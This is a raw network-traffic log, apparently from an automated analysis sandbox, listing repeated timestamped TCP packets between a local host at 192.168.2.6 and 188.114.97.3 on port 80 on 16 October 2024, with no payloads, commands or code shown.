                                                                                    Oct 16, 2024 10:58:07.657735109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.657824993 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.657964945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.657979012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658010006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658019066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658035040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658056021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658065081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658080101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658094883 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658104897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658130884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658130884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658600092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658621073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658634901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658649921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658679962 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658696890 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658886909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658900976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658915997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.658927917 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658953905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.658968925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.677766085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.677817106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.677824020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.677834988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.677860975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.677880049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.727901936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.727919102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.727940083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.727953911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.727958918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.727993965 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.728013992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.775562048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775579929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775594950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775609970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775619030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.775650978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.775660992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.775836945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775852919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775866985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.775873899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.775892019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.775903940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776030064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776045084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776058912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776072025 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776087999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776103973 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776374102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776387930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776403904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776417017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776436090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776447058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776652098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776690006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.776698112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776714087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.776750088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.777015924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.777057886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.777060986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.777077913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.777103901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.777122021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.795340061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.795381069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.795402050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.795418024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.795428038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.795463085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.795463085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.838726997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.838749886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.838763952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.838778019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.838831902 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.838831902 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.881305933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.881320000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.881366014 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893043041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893064022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893079042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893090010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893124104 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893124104 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893187046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893225908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893235922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893280029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893281937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893321037 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893331051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893372059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893491983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893506050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893521070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893532991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893551111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893567085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893743992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893759012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893774033 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.893785954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893807888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.893824100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.894066095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.894079924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.894093990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.894108057 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.894128084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.894136906 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.894309044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.894324064 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.894339085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.894350052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.894366026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.894377947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.913162947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.913212061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.913217068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.913228035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.913252115 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.913271904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.956427097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.956443071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.956466913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:07.956482887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.956512928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:07.956512928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.010683060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.010698080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.010711908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.010751963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.010761023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.010782003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.010790110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.010797977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.010806084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.010834932 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.010847092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011089087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011102915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011121988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011126995 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011146069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011162043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011296988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011312962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011327028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011339903 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011360884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011375904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011538029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011576891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011615038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011629105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011643887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.011662960 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.011691093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.012002945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.012016058 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.012046099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.012082100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.012103081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.012118101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.012131929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.012145042 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.012164116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.012182951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.030459881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.030486107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.030500889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.030504942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.030544043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.030544043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.074230909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.074245930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.074260950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.074305058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.074342012 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128317118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128331900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128346920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128364086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128386021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128415108 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128418922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128436089 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128449917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128465891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128494024 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128753901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128788948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128803968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128830910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128860950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128871918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128886938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128901958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128916979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128928900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128931999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.128953934 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.128968000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.129461050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.129473925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.129504919 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.129553080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.129569054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.129584074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.129594088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.129622936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.147919893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.147933960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.147948980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.147983074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.148005962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.148011923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.148022890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.148039103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.148061037 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.148082018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.191629887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.191689014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.191703081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.191705942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.191718102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.191742897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.191767931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.245656967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245672941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245687962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245706081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245718956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245733976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245738029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.245775938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.245940924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245965958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.245980978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246006966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246026039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246196032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246211052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246225119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246263981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246288061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246469021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246483088 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246526957 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246567011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246578932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246607065 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246638060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246727943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246743917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246757984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246783018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246803045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.246952057 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246982098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.246995926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.247024059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.247045994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.266427994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.266443014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.266457081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.266470909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.266484022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.266522884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.266525984 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.266526937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.266539097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.266570091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.266591072 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.309956074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.309971094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.309984922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.310045004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.310091019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363107920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363132000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363193989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363215923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363233089 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363249063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363262892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363264084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363289118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363315105 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363506079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363528967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363543034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363560915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363600016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363600016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363737106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363785028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363800049 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.363821983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.363862991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.364042997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.364085913 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:08.364105940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.364121914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.364135981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:08.364147902 CEST4973580192.168.2.6188.114.97.3
